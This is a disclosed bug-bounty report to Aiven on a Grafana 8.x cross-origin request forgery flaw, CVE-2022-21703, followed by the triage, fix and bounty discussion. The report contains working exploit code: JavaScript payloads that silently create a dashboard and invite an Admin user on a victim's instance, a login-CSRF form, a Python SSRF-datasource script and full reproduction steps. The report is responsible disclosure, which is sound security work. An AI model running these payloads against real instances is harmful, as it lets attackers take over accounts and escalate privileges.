You are on page 1of 58

21

0-day Cross Origin Request Forgery vulnerability in Grafana 8.x .


 Share:






TIMELINE

abrahack

submitted a report to Aiven Ltd.


January 22, 2022(2 years ago)

Disclaimer

To triage, please note that this is still a 0-day that was alerted to Grafana already, in order to make sure the
client is safe I report this issue now, please make sure to not spread it further or leak it, as the best interest
is to let you be aware and safer from any potential attacks in the meantime.

Description

@jub0bs and I have found a cross-origin request forgery attack issue in the Grafana instances hosted on
the Aiven platforms (CVE-2022-21703, which is still a 0-Day CVE on Grafana) . With the cross-origin
request forgery attack it's possible for an attacker to successfully mount cross-origin request forgery
attack against authenticated victims of other grafana instances hosted on *.aivencloud.com .
Exploitation

So here is the attack story an example user John Doe runs a grafana instance at
https://johndoe.aivencloud.com . An attacker will deploy his own grafana instance at
https://attacker.aivencloud.com , this attacker's instance would host a malicous html file with a
javascript payload, that will trigger the cross-origin request forgery attack against John Doe while he is
logged into https://johndoe.aivencloud.com .

Now thanks to this attack all POST / GET requests would work thanks to the cross-origin-request-forgery
attack, the root cause of this is because grafana sets their auth cookie grafana_session to
SameSite=Lax; Secure https://jub0bs.com/posts/2021-01-29-great-samesite-confusion/

Attack Chain.

The attack chain is as follows;

 Attacker would send a link to the victim.


 When the victim clicks the link, victim will be forced into logging into the attackers grafana
instance via login CSRF.
 User would be redirected to a vulnerable SSRF endpoint on the attackers grafana instance, this
endpoint would trigger cross-origin-request-forgery attack (CVE-2022-21703, which is still a 0-
Day CVE on Grafana) to the victims grafana instance.
 Attack is complete, now the CSRF would have triggered the following actions ;
 force the victim to create a new user on the victims grafana instance.
 force the victim to create a dashboard
Image F1588743: attack_flow.JPG 136.09 KiB

Zoom in Zoom out Copy Download


Requirements.

 three seperate web browser instances .


 a http / https file server to host our payloads.
 python2.
 pip2.
Steps to Reproduce .

1. Login into Aiven Console, at https://console.aiven.io, in a new browser instance let's call it B-1.
2. On B1, create two new Grafana instance, name the first one attacker and the second victim, wait
till it's up and running.
Image F1588761: Screenshot_(1400).png 155.88 KiB

Zoom in Zoom out Copy Download

3. Now click on the Grafana attacker instance in the Aiven Console, then head to the bottom of that
page.
Image F1588762: Screenshot_(1403).png 172.64 KiB

Zoom in Zoom out Copy Download


Image F1588760: Screenshot_(1404).png 162.72 KiB

Zoom in Zoom out Copy Download


4. Add the below advanced configurations;
Code 40 BytesWrap lines Copy Download

1allow_embedding

2cookie_samesite --> none

Image F1588759: Screenshot_(1405).png 162.83 KiB

Zoom in Zoom out Copy Download


Then click the Save advanced configuration button.

5. Open a new browser instance, call it B-attacker, log into the attacker grafana instance.
Image F1588758: Screenshot_(1406).png 333.60 KiB

Zoom in Zoom out Copy Download


6. On B-attacker, open up dev tools, then copy & note down the value of your
grafana grafana_session cookie .
Image F1588757: Screenshot_(1407).png 207.59 KiB

Zoom in Zoom out Copy Download

7. Now its time to save our cross-origin-request-forgery payload .


Code 1.55 KiBWrap lines Copy Download
1<html>

2 <head></head>

3 <body>

4<h1>cross-origin-request-forgery POC</h1>

5<div id=statusdiv></div>

6<script>

8var victim_instance = "<vic_instance>";

10function log_status(msg) {

11 //status logger.

12 let com = document.getElementById('statusdiv')

13 com.innerHTML += "<h2>" + msg + "</h2>"

14}

15

16function dashboard_poc() {

17 log_status("[*] Creating Dashboard")

18 var url = `${victim_instance}/api/dashboards/db`

19 fetch(url,

20 {

21 method:"POST",

22 mode:"no-cors",

23 credentials:"include",

24 headers: {

25 "Content-Type": "text/plain; application/json"


26 },

27 body: JSON.stringify(

28 {

29 "dashboard": {

30 "title": "grafana_csrf_0_day"

31 }

32 }

33 )

34 })

35}

36

37function invite_poc() {

38 log_status("[*] Creating User")

39 var url = `${victim_instance}/api/org/invites`

40 fetch(url,

41 {

42 method:"POST",

43 mode:"no-cors",

44 credentials:"include",

45 headers: {

46 "Content-Type": "text/plain; application/json"

47 },

48 body: JSON.stringify(

49 {

50 "name": "attacker",
51 "email": "",

52 "role": "Admin",

53 "sendEmail": false,

54 "loginOrEmail": "attacker@example.com"

55 }

56 )

57 })

58}

59

60function finish_up() {

61 log_status("[+] Inspect the list of dashboards on your Grafana instance at" + victim_instance
+"/dashboards; you should see a new dashboard named `grafana_csrf_0_day`.")

62 log_status("[+] Inspect the the list of pending user invitations on your Grafana instance at" +
victim_instance +"/org/users; you should see one for `attacker`.")

63}

64

65log_status("[*] Starting Attack")

66dashboard_poc()

67invite_poc()

68setTimeout(finish_up, 20000);

69</script>

70 </body>

71</html>

Replace the above string <vic_instance> to the victims grafana instance url, e.g https://grafana-
xmen.aivencloud.com . Now save the edited payload on yout http(s) server as c-o-payload.html .

Image F1588756: Screenshot_(1408).png 175.81 KiB


Zoom in Zoom out Copy Download
Image F1588755: Screenshot_(1409).png 237.54 KiB

Zoom in Zoom out Copy Download


Image F1588754: Screenshot_(1410).png 108.81 KiB

Zoom in Zoom out Copy Download


8. Save the below python2 script as create_ssrf_endpont.py .
Code 1.22 KiBWrap lines Copy Download

1import requests

2import random

3import string

4import sys

6if len(sys.argv) != 4 :

7 print 'Usage: %s "https://attacker-grafana-instance" "http://cross-origin-payload-url" "attacker-grafana-instance-


cookie"' % sys.argv[0]

8 sys.exit()

10def rand_genarator(length):

11 return ''.join(random.choice(string.ascii_letters + string.digits) for i in range(length))

12

13def create_ssrf(url_, payload_url, cookie):

14 url = url_.strip("/") + "/api/datasources"

15 cookies = {"redirect_to": "%2F", "grafana_session": cookie}

16 headers = {

17 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0",

18 "Accept": "application/json, text/plain, */*",

19 "Accept-Language": "en-US,en;q=0.5",

20 "Accept-Encoding": "gzip, deflate",

21 "Content-Type": "application/json"

22 }
23 json = {

24 "access": "proxy",

25 "isDefault": False,

26 "name": "Prometheus - " + rand_genarator(7),

27 "type": "prometheus",

28 "url": payload_url

29 }

30 res = requests.post(url, headers=headers, cookies=cookies, json=json)

31 print('[+] SSRF Endpoint {}/api/datasources/proxy/{}'.format(url_.strip("/"), res.json()['id']))

32

33create_ssrf(sys.argv[1], sys.argv[2], sys.argv[3])

Run the command, pip2 install requests . Now run the script by running the command, python2
create_ssrf_endpont.py "https://attacker-grafana-instance" "http://cross-origin-
payload-url" "attacker-grafana-instance-cookie" . Note the following;

Code 256 BytesWrap lines Copy Download

1https://attacker-grafana-instance --> this is the attackers grafana instance.

2http://cross-origin-payload-url --> this is the url of the payload you saved step 7.

3attacker-grafana-instance-cookie -> this is the grafana_session cookie your copied


in step 6.

Image F1588752: Screenshot_(1411).png 133.97 KiB

Zoom in Zoom out Copy Download


Now note down the SSRF url, the script outputs.

9. Now its time to save our cross-origin-request-forgery payload .


Code 1.21 KiBWrap lines Copy Download

1<html>

2 <head></head>

3 <body>

4<h1>CSRF Login POC, you will be redirected in 20 seconds</h1>

5<div id=statusdiv></div>

6<script>

8var attacker_instance = "<att_instance>";

9var attacker_instance_username = "avnadmin";

10var attacker_instance_password = "<att_password>";

11var attacker_csrf_proxy = "<att_ssrf_url>";

12

13var csrf_html = `

14 <form enctype="text/plain" action="${attacker_instance}/login" method=POST>

15 <input type="text" name='{"user":"${attacker_instance_username}","password":"$


{attacker_instance_password}","dummy":"' value='"}'>

16 <input type="submit">

17 </form>

18 <svg onload=document.forms[0].submit()>

19`;

20

21function log_status(msg) {
22 //status logger.

23 let com = document.getElementById('statusdiv')

24 com.innerHTML += "<h2>" + msg + "</h2>"

25}

26

27function create_iframe() {

28 log_status("[*] Logging victim into our grafana instance");

29 var iframe = document.createElement("iframe");

30 iframe.hidden = true;

31 iframe.srcdoc = csrf_html;

32 document.body.appendChild(iframe);

33 log_status("[+] Redirecting to our SSRF Payload");

34}

35

36function xmen() {

37 //redirects to our datasource, where can serve the grafana 0-day.

38 window.location = attacker_csrf_proxy;

39}

40

41create_iframe()

42setTimeout(xmen, 20000);

43</script>

44 </body>

45</html>

Replace the below listed strings;


Code 318 BytesWrap lines Copy Download

1<att_instance> to your attackers grafana instance url, e.g `https://grafana-attacker.aivencloud.com` .

2<att_password> to the password of the attackers grafana instance url, you should see
this in the aiven console .

3<att_ssrf_url> to your attackers grafana instance url, e.g `https://grafana-


attacker.aivencloud.com` .

Now save the edited payload on yout http(s) server as c-s-login.html .

Image F1588753: Screenshot_(1412).png 177.63 KiB

Zoom in Zoom out Copy Download


Image F1588751: Screenshot_(1413).png 219.22 KiB

Zoom in Zoom out Copy Download


Image F1588749: Screenshot_(1414).png 108.18 KiB

Zoom in Zoom out Copy Download


10. Open a new browser instance, call it B-victim, log into the victim grafana instance.
Image F1588750: Screenshot_(1415).png 342.94 KiB

Zoom in Zoom out Copy Download


11. Now open below url, in new tab on B-victim;
Code 33 BytesWrap lines Copy Download

1http://your_server/c-s-login.html

Note replace your_server with the server ip / hostname, where you saved the payload in step 9.

Image F1588748: Screenshot_(1416).png 109.20 KiB

Zoom in Zoom out Copy Download


Image F1588747: Screenshot_(1417).png 96.07 KiB

Zoom in Zoom out Copy Download


Image F1588746: Screenshot_(1421).png 130.38 KiB

Zoom in Zoom out Copy Download


12. On B-victim check your dashboard list & users invite list, you will notice a new dashboard was
created & a new user was invited.
Image F1588745: Screenshot_(1422).png 127.69 KiB

Zoom in Zoom out Copy Download


Image F1588744: Screenshot_(1423).png 125.02 KiB

Zoom in Zoom out Copy Download


Video POC.

Video F1588780: recording-1642880064221.webm 68.93 MiB

Zoom in Zoom out Copy Download

Impact

Risk

By luring the authenticated Grafana Admin to the malicious page, the attacker can gain access to your
Grafana instance as an Organization Admin. This privilege escalation would, among other things, allow
him to view/add/edit/remove dashboards and users.

Remediation

As of now there is no official remediation, Grafana are aware of the issue and will ship a fix soon.

It's highly possible that there will be intrusion attempts against your Grafana instance, for that make sure:

1. Monitor your Grafana users dashboard to see no new additions


2. Alert your high priv Grafana administrators to not navigate to unwanted links in the coming days.
References
Conclusion .

With all said , I have to say this to you .

Image F1588766: t1.jpg 8.02 KiB

Zoom in Zoom out Copy Download

 22 attachments:
 F1588743: attack_flow.JPG
 F1588744: Screenshot_(1423).png
 F1588745: Screenshot_(1422).png
 F1588746: Screenshot_(1421).png
 F1588747: Screenshot_(1417).png
 F1588748: Screenshot_(1416).png
 F1588749: Screenshot_(1414).png
 F1588750: Screenshot_(1415).png
 F1588751: Screenshot_(1413).png
 F1588752: Screenshot_(1411).png
 F1588753: Screenshot_(1412).png
 F1588754: Screenshot_(1410).png
 F1588755: Screenshot_(1409).png
 F1588756: Screenshot_(1408).png
 F1588757: Screenshot_(1407).png
 F1588758: Screenshot_(1406).png
 F1588759: Screenshot_(1405).png
 F1588760: Screenshot_(1404).png
 F1588761: Screenshot_(1400).png
 F1588762: Screenshot_(1403).png
 F1588766: t1.jpg
 F1588780: recording-1642880064221.webm

abrahack

posted a comment.
Jan 22nd (2 years ago)

Please add @jub0bs to this report .


staaldraad_aiven
Aiven Ltd staff

updated the severity from Critical to High.


Jan 25th (2 years ago)
staaldraad_aiven
Aiven Ltd staff

changed the status to Triaged.


Jan 25th (2 years ago)

Hey @abrahack @jub0bs

Thanks for the report and extremely detailed writup! We have deployed a temporary fix while we wait for
Grafana to publish updates. All new grafana instances should use SameSite=Strict rather than
SameSite=Lax .

We'll update this ticket soon with more information after we've discussed next steps as a team.

I've triaged this as High, due to the user interaction requirement. The CVSS for this would be medium,
however we do feel that it warrants a higher severity AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Best, staaldraad

abrahack

posted a comment.
Jan 25th (2 years ago)

Hi @staaldraad_aiven ,

Thanks for the triage.

Please add @jub0bs to this report .


jub0bs
joined this report as a participant with no specified permissions.
Jan 25th (2 years ago)
jub0bs

posted a comment.
Updated Jan 25th (2 years ago)

@staaldraad_aiven Thanks for adding me to the report. Bear in mind that, because the attack is same-
site (as opposed to cross-site), the SameSite attribute has no effect. Cranking it up to Strict adds no
protection whatsoever.

One thing you should consider in the long term (but it has important ramifications) is to request
aivencloud.com to be added to the Public Suffix List. That way, foo.aivencloud.com and
bar.aivencloud.com would be different sites, and one instance couldn't attack another like we've
described.

abrahack

posted a comment.
Jan 25th (2 years ago)

Hi @staaldraad_aiven ,

I can confirm as well that the SameSite=Strict is not an appropriate fix, the issue still exists
regardless .

I tested this on a new instance, with the Strict as default and the attack still worked.
staaldraad_aiven
Aiven Ltd staff

posted a comment.
Jan 25th (2 years ago)

Thanks @jub0bs

What is your recommendation for dealing with the same-site issue, I admittedly only skim read your blog
post, but I do not see a recommendation. shifting to a TLD+2 type model
( customer1.xxxx.aivencloud.com and customer2.yyyyy.aivencloud.com , while not an option
right now, would that change the "site"?).

We'd ideally like to have a remediation in place while waiting for Grafana to issue an official patch. We
would also need time to evaluate grafana patch stability etc before deploy for customers, so a mitigation
on our end would be best.

Cheers

abrahack

posted a comment.
Jan 25th (2 years ago)

Hi @staaldraad_aiven , like @jub0bs explained, the quick fix is a drastic one .

What I will advice is to hold on a bit, for grafana's patch it would come in less than a week from now.

I understand your concerns, but for now I don't have a fix suggestion .
Please if you guys are awarding a bounty, please @jub0bs and I , would love a 50/50 split, if you can do
that.

Kind Regards, @abrahack .

jub0bs

posted a comment.
Jan 25th (2 years ago)

@staaldraad_aiven I'm going to echo @abrahack's comment. Unless you have a way of blocking cross-
origin requests at the proxy level or something, your best course of action is likely to wait for Grafana's
fix; it shouldn't take more than a few days to drop.

staaldraad_aiven
Aiven Ltd staff

posted a comment.
Jan 26th (2 years ago)

Thanks for the updates @jub0bs @abrahack

As a note, the PoC does not work (for me at least) if the victim is using Chrome/Chromium latest builds.
Firefox does work. Tested with Chrome: Version 97.0.4692.99 (Official Build) (64-bit)

The problem is the request to /api/datasources/proxy/x does not have the grafana_session cookie
attached in Chrome. Firefox does send this request with the cookie.

As you can see in the screenshot, the login happens, and then the redirect after 20 seconds does not
include the cookie. Like I've mentioned, it works with Firefox, so the PoC is good and looks like I've
recreated correctly, it is just browser behaviour may vary. And yes, the attacker grafana has
SameSite=None set.

Image F1592900: Screenshot_from_2022-01-26_08-21-23.png 135.18 KiB

Zoom in Zoom out Copy Download

vs Firefox (ignore the 502 error that the SSRF proxy ends up producing, that is because Grafana doesn't
trust the certificate on the server)

Image F1592906: Screenshot_from_2022-01-26_08-26-55.png 61.02 KiB

Zoom in Zoom out Copy Download


PoC is still valid and this is a good bug! Just thought you'd like the heads up or had ideas on how to
improve on Chrome.

Cheers,
 2 attachments:
 F1592900: Screenshot_from_2022-01-26_08-21-23.png
 F1592906: Screenshot_from_2022-01-26_08-26-55.png

abrahack

posted a comment.
Jan 26th (2 years ago)

Hi @staaldraad_aiven ,

It works in chrome, you missed a step.

The step you missed was this ;

4. Add the below advanced configurations to your attacker instance on aiven console.
Code 40 BytesWrap lines Copy Download

1allow_embedding

2cookie_samesite --> none


abrahack

posted a comment.
Jan 26th (2 years ago)

Here is a video POC showing the attack the latest version of Chrome.

Video F1592952: recording-1643185397373.webm 10.90 MiB

Zoom in Zoom out Copy Download

 1 attachment:
 F1592952: recording-1643185397373.webm

staaldraad_aiven
Aiven Ltd staff

posted a comment.
Jan 26th (2 years ago)

@abrahack ah there you go, now I see the allow_embedding .

Any update from Grafana on their timeline?

abrahack
posted a comment.
Jan 26th (2 years ago)

Hi @staaldraad_aiven .

There timeline is scheduled for less than 5 days from now .

abrahack

posted a comment.
Jan 29th (2 years ago)

Hi @staaldraad_aiven .

Please any update on this report ?

Grafana would release a fix on Feb 1st 2022 .

Regards, @abrahack .

staaldraad_aiven
Aiven Ltd staff

posted a comment.
Feb 1st (2 years ago)

Thanks @abrahack

Apologies for the delay, we are working on some internal process changes to improve our bug bounty
program, paradoxically that has lead to a slow down in some areas.
abrahack

posted a comment.
Feb 1st (2 years ago)

Hi @staaldraad_aiven ,

Please if you guys are awarding a bounty, please @jub0bs and I , would love a 50/50 split, if you can do
that.

Kind Regards, @abrahack .

staaldraad_aiven
Aiven Ltd staff

posted a comment.
Feb 1st (2 years ago)

@abrahack @jub0bs we'll need you to setup the collaboration + bounty split ratio before we set the
reward.

Keep in mind that:

 Bounties can't be split retroactively (i.e. after the bounty has already been awarded).
To add @jub0bs as a collaborator and set the ratio to 50/50, you can use these steps:
https://docs.hackerone.com/hackers/payments.html#bounty-splitting

I don't seem to have any option on splitting the reward on our end.
abrahack

posted a comment.
Feb 1st (2 years ago)

Hi @staaldraad_aiven ,

Okay, you can award me the full bounty .

Regards, @abrahack .

Aiven Ltd

rewarded someone with a bounty.


Feb 1st (2 years ago)

Rewarded as High ($1000) as this has helped push us to getting aivencloud.com into the PSL (work in
progress).

$500 bonus for report quality and detail.


abrahack

posted a comment.
Feb 1st (2 years ago)

Hello @aiven_ltd,

Thanks for the bounty .

jub0bs

posted a comment.
Feb 1st (2 years ago)

Thanks, Aiven team. Until next time, stay safe!

jub0bs

posted a comment.
Feb 3rd (2 years ago)

Please be advised that Grafana's fix has unfortunately been delayed to Tuesday, February 8th.

jub0bs
posted a comment.
Feb 8th (2 years ago)

Grafana has now released a fix. Update as soon as possible.

abrahack

posted a comment.
Feb 16th (2 years ago)

Hi @staaldraad_aiven ,

Any updates on this report ?

Regards, @abrahack .

staaldraad_aiven
Aiven Ltd staff

posted a comment.
Feb 28th (2 years ago)

Hey @abrahack

We've incorporated aivencloud.com into the PSL and will be rolling out CSRF fix in the next few days. At
that point all new grafana instances will have the patch and mandatory maintenance will be triggered on
existing instances.

Cheers, staaldraad
abrahack

posted a comment.
Feb 28th (2 years ago)

Hi @staaldraad_aiven ,

thanks for the update .

staaldraad_aiven
Aiven Ltd staff

closed the report and changed the status to Resolved.


Mar 3rd (2 years ago)

Hey @abrahack

The CSRF patches from upstream grafana are deployed and all new instances on Aiven should have the
latest version. Existing instances will get the new versions when maintenance is performed during the
specified maintenance window.

Thanks again for the great report and the patience while we got it sorted out.

Cheers,
abrahack

posted a comment.
Mar 3rd (2 years ago)

Hi @staaldraad_aiven ,

Can we disclose this report ?

staaldraad_aiven
Aiven Ltd staff

posted a comment.
Mar 15th (2 years ago)

@abrahack sorry for the delay, I missed your message. I'm confirming with the team now, but I think we
will do disclosure.
staaldraad_aiven
Aiven Ltd staff

requested to disclose this report.


Mar 16th (2 years ago)

staaldraad_aiven
Aiven Ltd staff

disclosed this report.


Mar 16th (2 years ago)

You might also like